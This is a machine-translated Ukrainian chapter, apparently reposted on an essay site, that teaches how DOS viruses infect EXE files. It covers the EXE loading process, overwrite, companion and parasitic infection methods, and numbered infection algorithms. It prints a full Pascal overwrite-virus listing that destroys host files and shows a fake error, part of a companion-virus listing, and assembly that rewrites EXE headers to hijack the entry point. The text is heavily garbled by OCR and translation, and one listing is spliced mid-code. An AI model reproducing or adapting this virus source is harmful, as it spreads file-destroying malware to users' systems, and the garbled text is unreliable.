Exe-віруси

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

ЕХЕ-ВІРУСИ

У цьому розділі розказано про ви-
русах, що заражають ЕХЕ-фай-
ли. Наведено класифікації
ція таких вірусів, докладно
розглянуті алгоритми їх
роботи, відмінності між
ними, гідності і недо-
статки. Для кожного типу
вірусів представлені результат-
ні тексти з докладними
коментарями. Також приве-.
ку основні відомості
про структуру та принципи ра-
боти ЕХЕ-програми.

СОМ-файли (невеликі програми, написані в основному мовою
Assembler) повільно, але вірно старіють. Їм на зміну приходять Пуга-
ющие своїми розмірами ЕХЕ-"монстри". З'явилися і віруси, вмію-
щие заражати ЕХЕ-файли.

Структура і процес завантаження ЕХЕ-програми

На відміну від СОМ-програм, ЕХЕ-програми можуть складатися з не-
скількох сегментів (кодів, даних, стека). Вони можуть займати біль-
ше 64Кбайт.

ЕХЕ-файл має заголовок, який використовується при його завантаженні.
Заголовок складається з форматованої частині, що містить сигнатуру
і дані, необхідні для завантаження ЕХЕ-файла, і таблиці для на-
будівництва адрес (Relocation Table). Таблиця складається зі значень у фор-
мате сегмент: зміщення. До зсувів в завантажувальному модулі, на які
вказують значення в таблиці, після запису програми в пам'ять дол-
дружин бути доданий сегментну адресу, з якого завантажена програма.

При запуску ЕХЕ-програми системним завантажувачем (викликом функ-
ції DOS 4Bh) виконуються такі дії:

1. Визначається сегментний адресу вільної ділянки пам'яті, розмір
якого достатній для розміщення програми.

2. Створюється і заповнюється блок пам'яті для змінних середовища.

3. Створюється блок пам'яті для PSP і програми (сегментЮОООЬ - PSP;

сегмент + ООЮЬЮОООЬ - програма). У поля PSP заносяться відповід-
ціалу значення.

4. Адреса DTA встановлюється рівним PSP: 0080h.

5. До робочої область завантажувача зчитується форматованої частина
заголовка ЕХЕ-файла.

6. Обчислюється довжина завантажувального модуля за формулою:

Si7.e = ((PageCnt * 5i2) - (HdrSae * i6))-Pa! TP3ig.

7. Визначається зсув завантажувального модуля у файлі, рівне
HdrSize * 16.

8. Обчислюється сегментний адресу (START_SEG) для завантаження -
зазвичай це PSP + lOh.

9. Зчитується в пам'ять завантажувальний модуль (починаючи з адреси
START_SEG: 0000).

10. Для кожного входу таблиці налаштування:

a) читаються слова I_OFF і I_SEG;

b) обчислюється RELC ^ SEG-START ^ SEG + LSEG;

c) читається слово за адресою RELO_SEG: I_OFF;

d) до прочитаного слова додається START_SEG;

e) результат запам'ятовується за тією ж адресою (RELO_SEG: I_OFF).

11. Розподіляється пам'ять для програми відповідно до Махмет
і МтМет.

12. Ініціалізуть регістри, виконується програма:

a) ES = DS ° PSP;

b) АХ = результат перевірки правильності ідентифікаторів драйві-
рів, зазначених у командному рядку;

c) SS ° START_SEG + ReloSS, SP-ExeSP;

d) CS = START_SEG + ReloCS, IP = ExeIP.

Класифікація ЕХЕ-вірусів

ЕХЕ-віруси умовно можна розділити на групи, використовуючи як
ознаки для поділу особливості алгоритму.

Віруси, які заміщають програмний код (Overwrite)

Такі віруси вже стали раритетом. Головний їхній недолік - занадто
груба робота. Інфіковані програми не виконуються, тому що
вірус записується поверх програмного коду, не зберігаючи його. При
запуску вірус шукає чергову жертву (або жертви), відкриває знайдений-
ний файл для редагування і записує своє тіло в початок про-
грами, не зберігаючи оригінальний код. Інфіковані цими виру-
самі програми лікуванню не підлягають.

Віруси-супутники (Companion)

Ці віруси отримали свою назву через алгоритму розмноження:

до кожного інфікованій файлу створюється файл-супутник. Рассмот-
рим більш докладно два типи вірусів цієї групи:

Віруси першого типу розмножується наступним чином. Для кожного ін-
фіціруемого ЕХЕ-файла в тому ж каталозі створюється файл з вірусним

кодом, що має таке ж ім'я, що і ЕХЕ-файл, але з розширенням
СОМ. Вірус активується, якщо при запуску програми в командному
рядку вказано тільки ім'я файлу, що виконується. Справа в тому, що, якщо
не вказано розширення файлу, DOS спочатку шукає в поточному каталозі
файл із заданим ім'ям і розширенням СОМ. Якщо СОМ-файл з та-
ким ім'ям не знайдений, ведеться пошук однойменного ЕХЕ-файла. Якщо
не знайдений і ЕХЕ-файл, DOS спробує виявити ВАТ (пакетний)
файл. У разі відсутності в поточному каталозі виконуваного файлу
з вказаним ім'ям пошук ведеться в усіх каталогах, доступних
по змінній PATH. Іншими словами, коли користувач хоче за-
пустити програму і набирає в командному рядку тільки її ім'я
(В основному так все і роблять), першим управління отримує вірус,
код якого знаходиться в СОМ-файлі. Він створює СОМ-файл ще
до одного або кількох ЕХЕ-файлів (поширюється), а потім
виконує ЕХЕ-файл з вказаним в командному рядку ім'ям. Поль-
зователя ж думає, що працює тільки запущена ЕХЕ-програма.
Вірус-супутник знешкодити досить просто - достатньо видалити
СОМ-файл.

Віруси другого типу діють більш тонко. Ім'я инфицируемого
ЕХЕ-файла залишається колишнім, а розширення замінюється яких-небудь
іншим, відмінним від виконуваного (СОМ, ЕХЕ і ВАТ), Наприклад,
файл може отримати розширення DAT (файл даних) або OVL (про-
програмних оверлей). Потім на місце ЕХЕ-файла копіюється вірусний
код. При запуску такої інфікованої програми управління напів-
чає вірусний код, що знаходиться в ЕХЕ-файлі. Інфікувавши ще один
або кілька ЕХЕ-файлів таким же чином, вірус повертає оригі-
нальному файлу виконується розширення (але не ЕХЕ, а СОМ, по-
кільки ЕХЕ-файл з таким ім'ям зайнятий вірусом), після чого використан-
вується його. Коли робота інфікованої програми закінчена, її
запускаемому файлу повертається розширення не виконує,. Лече-
ня файлів, заражених вірусом цього типу, може бути складно,
якщо вірус-супутник шифрує частину або все тіло инфицируемого файлу,
а перед виконанням його розшифровує.

Віруси, впроваджуються в програму (Parasitic)

Віруси цього виду самі непомітні: їх код записується в инфици-
ється програму, що істотно ускладнює лікування заражених
файлів. Розглянемо методи впровадження ЕХЕ-вірусів в ЕХЕ-файл.

Способи зараження ЕХЕ-файлів

Найпоширеніший спосіб зараження ЕХЕ-файлів такий: в кінець
файлу дописується тіло вірусу, а заголовок коригується (з збереженню-
ням оригінального) так, щоб при запуску інфікованого файлу
управління отримував вірус. Схоже на зараження СОМ-файлів, але вмес-
то завдання в коді переходу в початок вірусу коригується власне
адреса точки запуску програми. Після закінчення роботи вірус бере з
збереженого заголовка оригінальний адресу запуску програми, Прибалтиці
ляєт до його сегментної компоненті значення регістра DS або ES (напів-
ного при старті вірусу) і передає управління на отриманий адресу.

Наступний спосіб - впровадження вірусу в початок файлу зі зсувом коду
програми. Механізм зараження такий: тіло инфицируемой програми
зчитується в пам'ять, на її місце записується вірусний код, а після
нього - код инфицируемой програми. Таким чином, код програми
як би "зсувається" у файлі на довжину коду вірусу. Звідси і назва
способу - "спосіб зсуву". При запуску інфікованого файлу вірус
заражає ще один або декілька файлів. Після цього він зчитує
в пам'ять код програми, записує його в спеціально створений на
диску тимчасовий файл з розширенням виконуваного файлу (СОМ або
ЕХЕ), і потім виконує цей файл. Коли програма закінчила робо-
ту, тимчасовий файл видаляється. Якщо при створенні вірусу не застосовують
лось додаткових прийомів захисту, то вилікувати інфікований
файл дуже просто - достатньо видалити код вірусу на початку файлу,
і програма знову буде працездатною. Недолік цього методу
в тому, що доводиться зчитувати в пам'ять весь код инфицируемой про-
грами (адже бувають екземпляри розміром більше 1Мбайт).

Наступний спосіб зараження файлів - метод перенесення - по всій ві-
хідності, є найдосконалішим з усіх перерахованих. Вірус
розмножується наступним чином: при запуску інфікованої про-
грами тіло вірусу з неї зчитується в пам'ять. Потім ведеться пошук
неінфікованих програми. У пам'ять зчитується її початок,
по довжині рівне тілу вірусу. На це місце записується тіло вірусу.
Початок програми з пам'яті дописується в кінець файлу. Звідси на-
звання методу - "метод переносу". Після того, як вірус інфікував
один або декілька файлів, він приступає до виконання програми,
з якої запустився. Для цього він зчитує початок інфікований-
ної програми, збережене в кінці файлу, і записує його в початок

файлу, відновлюючи працездатність програми. Потім вірус уда-
ляєт код початку програми з кінця файлу, відновлюючи оригіналь-
ву довжину файлу, і виконує програму. Після завершення програми-
ми вірус знов записує свій код в початок файлу, а оригінальне
початок програми - в кінець. Цим методом можуть бути інфіковані
навіть антивіруси, які перевіряють свій код на цілісність, так як
запускається вірусом програма має в точності такий же код, як і до інфікування.

Віруси, які заміщають програмний код
(Overwrite)

Як уже говорилося, цей вид вірусів вже давно мертвий. Зрідка появ-
ляють ще такі віруси, створені мовою Assembler, але це, швидше,
змагання в написанні самого маленького overwrite-вірусу. На дан-
ний момент найменший з відомих overwrite-вірусів написаний
Reminder'ом (Death Virii Crew group) і займає 22 байти.

Алгоритм роботи overwrite-вірусу наступний:

1. Відкрити файл, з якого вірус отримав управління.

2. Рахувати в буфер код вірусу.

3. Закрити файл.

4. Шукати за маскою підходящий для зараження файл.

5. Якщо файлів більше не знайдено, перейти до пункту 11.

6. Відкрити знайдений файл.

7. Перевірити, чи не заражений знайдений файл цим вірусом.

8. Якщо файл заражений, перейти до пункту 10.

9. Записати в початок файлу код вірусу.

10. Закрити файл (за бажанням можна заразити від одного до всіх фай-
лов в каталозі або на диску).

11. Видати на екран будь-яке повідомлення про помилку, наприклад
"Abnormal program termination" або "Not enough memory", - нехай
користувач не дуже дивується з того, що програма не запуститься-
стиль.

12. Завершити програму.

Нижче наведено лістинг програми, що заражає файли таким
способом.

{$ М 2048, 0, 0}

{$ А-}

{$ У-}

{$ D-}

{$ Е +}

($ F-)

($ G-}

($!-}

{$ L-}

{$ N-}

{$ S-} /

{$ V-}

{$ X +}

{Використовуються модулі DOS і System (модуль System автоматично

підключається до кожної програми при компіляції)}
Uses DOS;

Const

(Ім'я вірусу}
VirName = 'Pain';

{Рядок для перевірки на повторне зараження.

Вона дописується в заражає файл відразу після коду вірусу}

VirLabel: String [5] = 'Pain! 1;

{Довжина одержуваного при компіляції ЕХЕ-файла}
VirLen = 4208;

Author = 'Dirty Nazi / SGWW.';

{Кількість заражають за один сеанс роботи файлів}
lnfCount = 2;

Var

{Масив для визначення наявності копії вірусу в знайденому файлі}
Virldentifier: Array [1.5] of Char;

{Файлова змінна для роботи з файлами}
VirBody: File;

(Ще одна файлова змінна - хоча без неї можна було
обійтися, так буде зрозуміліше)
Target: File;

{Для імені знайденого файлу)
TargetFile: PathStr;

(Буфер для тіла вірусу)
VirBuf: Array [-I.VirLen] of Char;

(Для дати / часу файлу)
Time: Longint;

(Лічильник кількості інфікованих файлів)
InfFiles: Byte;

Dirlnfo: SearchRec;

LabelBuf: Array [1.5] of Char;

(Ініціалізація)
procedure Init;

begin
LabelBuf [1]: = VirLabel [1];

LabelBuf [2]: = VirLabel [2];

LabelBuf [3]: = VirLabel [3],
LabelBuf [4]: ​​= VirLabel [4];

LabelBuf [5]: = VirLabel [5];

(Обнуляємо лічильник кількості інфікованих файлів}
lnfFiles: = 0;

(Пов'язуємо файлову змінну VirBody з ім'ям програми.
з якої стартували)
Assign (VirBody, ParamStr (O));

(Відкриваємо файл з recsize = 1 байту)
Reset (VirBody, 1);

(Прочитуємо з файлу тіло вірусу в масив VirBuf}
BlockRead (VirBody VirBuf, VirLen);

(Закриваємо файл)
Close (VirBody);

end;

(Пошук жертви}
procedure FindTarget;

Var
Sr: SearchRec;

(Функція повертає True, якщо знайдена

програма вже заражена, і False, якщо ще немає}
function VirusPresent: Boolean;

begin

(Поки будемо вважати, що вірусу немає}
VirusPresent: = False;

(Відкриваємо знайдений файл}
Assign (Target, TargetFile);

Reset (Target, 1);

(Переміщаємося на довжину тіла вірусу від початку файлу}
Seek (Target, VirLen);

(Прочитуємо 5 байт - якщо файл вже заражений,
там знаходиться мітка вірусу}
BlockRead (Target, Virldentifier, 5);

If Virldentifier = Virl_abel Then

{Якщо мітка є, значить є і вірус}
VirusPresent: = True;

end;

(Процедура зараження}
procedure InfectFile;

begin

{Якщо розмір знайденого файлу менше, ніж довжина вірусу
плюс 100 байт, то виходимо з процедури}
If Sr.Size <VirLen +100 Then Exit;

{Якщо знайдена програма ще не заражена, інфікуючи її}
If Not VirusPresent Then
begin

{Запам'ятаємо дату і час файлу. Атрибути запам'ятовувати не треба,
тому що пошук ведеться серед файлів з атрибутом Archive, а цей
атрибут встановлюється на файл після збереження в будь-якому випадку}
Time: = Sr.Time;

{Відкриваємо для зараження}
Assign (Target, TargetFile);

Reset (Target, 1);

{Записуючи тіло вірусу в початок файлу}
BlockWrite (Target, VirBuf, VirLen);

{Переміщаємо покажчик поточної позиції
на довжину вірусу від початку файлу}
Seek (Target, VirLen);

{Вписуємо мітку зараження}
BlockWrite (Target, LabelBuf, 5);

{Встановлюємо дату і час файлу}
SetFTime (Target, Time);

{Закриваємо}
Close (Target);

{Збільшуємо лічильник інфікованих файлів}
Inc (lnfFiles);

end;

end;

{Початок процедури FindTarget}
begin

{Шукаємо в поточному каталозі файли за маскою *. ЕХЕ
з атрибутами Archive}
FindFirstF.EXE ', Archive, Sr);

{Поки є файли для зараження}

While DosError = 0 Do

begin

If Sr.Name = "Then Exit;

(Запам'ятовуємо ім'я знайденого файлу в змінну TargetFile}
TargetFile: = Sr.Name;

{Викликаємо процедуру зараження}
InfectFile;

{Якщо заразили InfCount файлів, завершуємо пошук}
If InfFiles> InfCount Then Exit;

{Шукаємо Наступне фото по масці}
FindNext (Sr);

end;

end;

{Основне тіло}
begin

(Ініціалізіруем}
hit;

{Шукаємо жертви і заражаємо їх}
FindTarget;

{Видаємо на екран повідомлення про помилку}
WriteLn ('Abnormal program termination.');

{Це щоб компілятор вставив в код константи VirName
і Author, умова ж поставлено таким чином,
що ці рядки ніколи не будуть виведені на екран}
If 2 = 3 Then
begin
WriteLn (VirName);

WriteLn (Author);

end;

end.

Віруси-супутники (Companion)

Віруси-супутники зараз широко поширені - співвідношення
companion і parasitic вірусів приблизно один до двох.

Інфікування методом створення СОМ-файлу супутника

Сенс цього методу - не чіпаючи "чужого кота" (ЕХЕ-програму), з-
здати "свого" - СОМ-файл з ім'ям ЕХЕ-програми. Алгоритм робо-
ти такого вірусу гранично простий, так як відпадає необхідність
зайвих дій (наприклад, збереження в тілі вірусу довжини откомпі-
ного ЕХЕ-файла з вірусним кодом, зчитування в буфер тіла
вірусу, запуску файлу, з якого вірус отримав управління). Неза-
ніж навіть зберігати позначку для визначення інфікування файлу.

Зараження проводиться за допомогою командного процесора:

1. Якщо в командному рядку вказані параметри, зберегти їх в пере-
менную типу String для передачі інфікованої програмі.

2. Знайти ЕХЕ-файл-жертву.

3. Перевірити, чи не є присутнім в каталозі зі знайденим ЕХЕ-фай-
брухт СОМ-файл з таким же ім'ям, як у файлу-жертви.

4. Якщо такий СОМ-файл присутній, файл вже заражений, переходимо
до пункту 6.

5. За допомогою командного процесора скопіювати файл, з якого
отримано управління, у файл з ім'ям жертви і розширенням СОМ.

6. Процедурою Ехес завантажити і виконати файл з ім'ям стартового, але
з розширенням ЕХЕ - тобто виконати інфіковану програму.

7. Повернути управління в DOS.

Наведений нижче лістинг показує зараження файлів цим
методом.

($ М 2048, 0, 0}
f $ A-}
NUL ');

SwapVectors;

end;

{Процедура пошуку жертви}
procedure FindFile;

begin

{У поточному каталозі шукаємо ЕХЕ-файл}
FindFirst ('* EXE', AnyFile, Dirlnfo);

If DosError = 0 Then

{І якщо він знайдений}
begin

{Запам'ятовуємо ім'я жертви}
Victim: = Dirlnfo.Name;

{Запам'ятовуємо ім'я без розширення}
VictimName: = Copy (Victim, 1, Length (Victim) -4);

{Шукаємо оверлей з тим же ім'ям}
FindFirst (VictimName + Ovl, AnyFile, Sr);

If DosError 0 Then Infect;

end;

end;

{Процедура ініціалізації змінних}
procedure I nit;

begin

(Командний рядок}
CmdLine: = ";

{Повне ім'я нашої програми}
OurProg: = ParamStr (0);

{Ім'я нашої програми без розширення}
OurName: = Copy (ParamStr (0), 1, Length (ParamStr (0)) 4);

For l: = 1 To ParamCount Do
begin

{Запам'ятовуємо параметри}
CmdLine: = ParamStr (l) + '';

end;

end;

{Основна підпрограма}
begin

{А цю табличку запишемо в код для тих,

хто розпакує вірус і почне в ньому порпатися}

If False Then

begin

WriteLn (# 13 # 10 '');

end;

{Ініціалізіруем}
Init;

(Перевірка диска на R / Про}
CheckRO;

{Шукаємо і заражаємо}
FindFile;

{Завантажуємо оверлей}
ExecReal;

end.

Віруси, впроваджуються в програму (Parasitic)

Ці віруси є самими "хитрими". Оскільки такий вірус поза-
дряется в инфицируемой програму, це дає йому багато переваг
перед всіма вищеописаними вірусами: на диску не з'являються тільки-
ня файли, немає турбот з копіюванням і перейменуванням, крім того,
ускладнюється лікування інфікованих файлів.

Стандартне зараження ЕХЕ-файлів

Стандартне зараження - зараження, при якому вірус впроваджується
в кінець файлу, змінюючи заголовок так, щоб після завантаження файлу уп-
равленіе отримав вірус. Принципово дію такого вірусу мало
відрізняється від дії розглянутого СОМ-вірусу. Щоб з'ясувати
способи роботи з ЕХЕ-файлами, розглянемо наступний фрагмент про-
грами:

; Читаємо заголовок ЕХЕ-файла (точніше, тільки перші 18h байт,
; Яких цілком достатньо)

ReadHeader:

mov ah, 3Fh

mov dx, offset EXEHeader
mov cx, 0018h
int 21 h

Зупиняємо в SI адресу зчитаного заголовка. У подальшому
; Будемо звертатися до заголовку, використовуючи Sl + зсув елемента
mov si, offset EXEHeader

[Отримуємо реальну довжину файлу, перемістивши покажчик поточної
; Позиції читання / запису в кінець файлу
GetRealFSize:

mov ax, 4202h

mov bx.Handle

xor ex, ex

xor dx.dx

int 21 h

; Збережемо отриману довжину файлу
mov Reallen.dx
mov Reallen +2, ax

; Оскільки мова йде про стандартну процедуру зараження, потрібно
; Пам'ятати, що все вищесказане не має торкатися
оверлейні файли. Їх довжина, зазначена в заголовку,
.- Менше реальної, тобто ці файли завантажуються
; В пам'ять не повністю.

Отже, якщо заразити такий файл, вірус потрапить
; В незавантажувальних частину.
Збережемо в стеку реальну довжину ЕХЕ-файла

push dx

push ax

розрахуємо розмір ЕХЕ-файл до 512-байтних сторінках і залишок
CompareOVL

mov cx, 0200h

div ex

; Ha даний момент в регістрі АХ знаходиться число сторінок
; (У кожній сторінці міститься 512 байт),
; А в регістрі DX - залишок, який утворює

; Ще одну (невраховану) сторінку.
. Додамо цю сторінку до загальної кількості сторінок -
; Якщо залишок не дорівнює нулю, то
. Збільшимо кількість сторінок

or dx.dx

jz m1

inc ax
m1:

. Будемо вважати придатним для зараження
. Стандартним способом файли з довжиною,
; Повністю збігається із зазначеною в заголовку

cmp ax, [si + PartPag]

jne ExitProc

cmp dx, [si + PageCnt]

jne ExitProc

; Щоб вірус зміг повернути управління
; Зараженій програмі, збережемо поля ReloSS,
; ExeSP, ReloCS, ExelP із заголовка ЕХЕ-файла.
. Значення констант, використовуваних у програмі,
. Рівні зсуву відповідного
; Елемента в заголовку ЕХЕ-файла (Додаток А)
InitRetVars:

mov ax, [si + ReloSS]

mov oldss.ax

mov ax, [si + ExeSP]

mov oldsp.ax

mov ax, [si + ReloCS]

mov oldcs.ax

mov ax, [si + Exe! P]

mov oldip.ax

. Відновимо з стека реальну довжину файлу
; У даному випадку вона співпадає з довжиною, зазначеної в заголовку

pop ax

pop dx

. Розрахуємо довжину програми з вірусом, для чого додамо
; До довжини файлу довжину тіла вірусу

add ax, VIRSIZE; VIRSIZE - довжина тіла вірусу

adc dx.0

розрахуємо вийшла довжину (одна сторінка - 512 байт)
; І залишок у останній сторінці (так само,
; Як розраховували довжину файлу без вірусу)

mov cx, 0200h

div ex

or dx.dx

jz newJen

inc ax
NewJen:

; Внесемо в заголовок нову довжину файлу
mov [si + PageCnt], ax
mov [si + PartPag], dx

; Прочитаємо реальну довжину файлу.
; По ній будемо розраховувати нову
; Точку входу в програму (адреса запуску)
Eval_new_entry:

mov dx.Reallen +2

mov ax.Reallen

; Розрахуємо нову точку входу.

. Точка входу в вірус повинна знаходитися

; На початку його тіла. Іншими словами, потрібно до довжини файлу

. Додати зміщення точки входу.

; Розділимо довжину на розмір параграфа (10h)

mov cx, 10h

div ex

Отримали число параграфів (AX) і залишок (DX - зміщення
; Вірусу в останньому пункті).
; 0тнімем від числа параграфів у файлі число
. Параграфів у заголовку - отримаємо сегмент входу в ЕХЕ-файл
sub ax, [si + HdrSize]

; 3апішем нову точку входу в заголовок
mov [si + ReloCS], ax
mov [si + ExelP], dx

. Зауваження: можна було округлити отримане число,
; І вірус починався б з OOOOh.
; Але цього робити не варто.

,-Природно, всі звернення до даних у цьому вірусі

повинні бути нефіксованими, як і в будь-якому іншому вірус.

; Замість "mov ax, ANYDATA" доведеться робити так:

; Mov si.VIRSTART

; Mov ax, [si + offset ANYDATA]

; Де offset ANYDATA - зміщення відносно початку тіла вірусу

; Стек поставимо за тіло вірусу - байт на ЮОп. Потім обов'язково

; Повернемо, інакше можна стерти заготовлені в стеку значення!

. 'Встановимо сегмент стека такий же, як і коду,

; А покажчик на вершину стека -

; На 100h байт після тіла вірусу

mov [si + ReloSSj.ax

mov ax.VIRSIZE + IOOh

mov [si + ExeSP], ax

; Тепер запишемо заголовок у файл, не забувши і тіло вірусу.
; Рекомендується писати спочатку тіло, а потім заголовок.
; Якщо тіло раптом не допише,
; То файл зіпсуємо даремно
UpdateRle:

; 3апішем тіло вірусу
WriteBody:

.- Встановимо покажчик читання / запису в кінець файлу
mov bx, Handle
хог сх, сх
xor dx.dx
mov ax, 4202h
int 21 h

. Запишемо тіло вірусу в файл
mov ah, 40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h

; 3апішем заголовок
WriteHeader:

; Встановимо покажчик читання / запису в початок файлу
mov ax, 4200h

xor ex, ex

xor dx.dx

int 21 h

. Запишемо заголовок в файл

mov cx, 0018h

mov ah, 40h

mov dx.si

int 21 h

Отже, вірус "оселився" в ЕХЕ-файлі. А як після закінчення роботи
вірусу передати управління інфікованої програмі? Ось процеду-
ра виходу з вірусу:

CureEXE:

StackBack:

-. Встановимо початковий покажчик (сегмент і зсув) стека
mov ax.ds

-. Додамо ООЮп, після чого в АХ буде
; Знаходиться сегмент, з якого
; Завантажений програмний модуль
add ax, 10h

Додамо початковий сегмент стека

db @ add_ax; код ADD AX, далі за аналогією
OldSS dw? ; Це значення було встановлено
; При зараженні

; 3апретім переривання, так як зі стеком не можна працювати,
; Поки і сегмент, і зсув не встановлені в потрібне значення
cli

-. Встановимо сегмент стека (PSP + Wh + OldSS)
mov ss.ax

: Встановимо початковий покажчик (зміщення) стека

db @ mov_sp
OldSP dw?

; Дозволимо переривання - небезпечну ділянку пройдено
sti

[Підготуємо значення в стеку для команди IRET
RetEntryPoint:

pushf

розрахуємо сегмент для коду за аналогією з сегментом стека

mov ax.DATASEG

add ax, 10h

db @ add_ax
OldCS dw?

; Збережемо в стеку отримане значення (PSP + Wh + OldCS)
push ax

; Збережемо в стеку зміщення вихідної точки входу

db @ mov_ax
OldIP dw?

push ax

. Запустимо програму. У стеці знаходяться зсув
; Точки входу, сегмент точки входу і прапори
iret

Впровадження способом зсуву

Инфицируемой програма розміщується у файлі після коду вірусу,
зрушуючи на його довжину, звідси і назва методу. Алгоритм роботи
вірусу наступний:

1. Відкрити файл, з якого отримано управління.

2. Рахувати в буфер тіло вірусу.

3. Закрити файл.

4. Знайти файл-жертву (для даного типу вірусів краще СОМ-файл,
але можна і не занадто великий ЕХЕ - це пов'язано з тим, що всі
тіло инфицируемой програми зчитується в пам'ять і її може не
вистачити, якщо ця програма дуже велика).

5. Відкрити файл-жертву.

6. Перевірити файл на повторне зараження (тут можуть бути варіанти-
ти, але найчастіше використовується сигнатура).

7. Якщо файл вже інфікований, перейти до пункту 3.

8. Рахувати в буфер все тіло програми.

9. Записати в початок файлу тіло вірусу з буфера.

10. Дописати у файл після тіла вірусу тіло програми з буфера.
Довжина програми збільшується на довжину вірусу.

11. Закрити файл-жертву.

12. Відкрити файл, з якого стартували.

13. Рахувати в буфер тіло інфікованої програми, розташоване
у файлі після тіла вірусу.

14. Створити на диску тимчасовий файл з розширенням СОМ або ЕХЕ
(В залежності від того, який тип програм заражається).

15. Записати в цей файл тіло програми з буфера.

16. Закрити створений файл.

17. Процедурою Ехес запустити створений файл на виконання -
виконається інфікована програма.

18. Після завершення роботи програми створений файл видалити.

19. Повернути управління в DOS.

Віруси - це гарна гімнастика для розуму, хоча багато хто думає, що
написати вірус на мові високого рівня дуже важко. Це не зовсім
так. Писати на мові Pascal досить легко, правда величина отримано-
ного коду викликає благоговійний трепет.

Впровадження способом перенесення

Віруси даного типу розмножуються наступним чином. З інфікує-
емой програми від початку файлу зчитується частина коду, по довжині рав-
ва довжині вірусу. На звільнене місце вписується вірус,
а оригінальне початок програми переноситься в кінець файлу. Звідси
і назва методу - "метод переносу". Є й інші варіанти. Іноді,
наприклад, початок програми записується в середину файлу, а середина
переноситься в кінець, щоб ще сильніше все заплутати. Перевага дан-
ного методу над іншими описаними в тому, що інфікована про-
грама виконується в тому ж вигляді, в якому вона була до зараження,
з файлу з тим же ім'ям і розширенням. Тобто програми, перевіряючі
ющие себе на предмет зараження вірусом, його не помічають. Коректно
виконуються і такі програми, які шукають свої файли конфігурації
ції з іменами:

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +. INI

Недолік даного методу виявляється при збоях у роботі компьюте-
ра. Якщо при виконанні інфікованої програми комп'ютер
"Зависне" або відбудеться перезавантаження системи, інфікована

програма виявиться "чистої", тобто без вірусу. Але, по-перше, "хто
не ризикує, той не п'є шампанського ", а по-друге, програми виснуть
рідко. Алгоритм роботи такого вірусу наступний:

1. Відкрити файл, з якого отримано управління.

2. Рахувати в буфер тіло вірусу.

3. Закрити файл.

4. Знайти файл-жертву.

5. Відкрити файл-жертву.

6. Перевірити файл на повторне зараження (тут можуть бути варіанти-
ти, але найчастіше використовується сигнатура).

7. Якщо файл вже інфікований, перейти до пункту 3.

8. Рахувати в буфер з початку знайденого файлу фрагмент програми,
по довжині рівний тілу вірусу.

9. Записати в початок файлу тіло вірусу з буфера.

10. Дописати у кінець файлу лічене початок програми з буфера.
Довжина програми збільшилася на довжину вірусу.

11. Закрити файл-жертву.

12. Відкрити файл, з якого стартували.

13. Рахувати в буфер початок інфікованої програми, розташований-
ве в кінці файлу.

14. Записати лічене початок програми поверх коду вірусу в початок
файлу.

15. Скоротити файл до його оригінальної довжини (тобто видалити частину
коду, по довжині рівну довжині тіла вірусу, в кінці файлу).

16. Закрити файл.

17. Процедурою Ехес запустити стартовий файл (ParamStr (O)) на вико-
конання - виконається інфікована програма.

18. Після завершення роботи програми знову відкрити стартовий
файл.

19. Записати в початок файлу тіло вірусу, а оригінальне початок про-
грами знову перемістити в кінець файлу.

20. Закрити файл.

21. Повернути управління в DOS.


Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Доповідь
52.4кб. | скачати


Схожі роботи:
Віруси 4
Віруси 3
Віруси
Віруси 2
Віруси і антивіруси
Віруси Інтерферон
Що таке віруси
СОМ-віруси
Віруси і бактерії
© Усі права захищені
написати до нас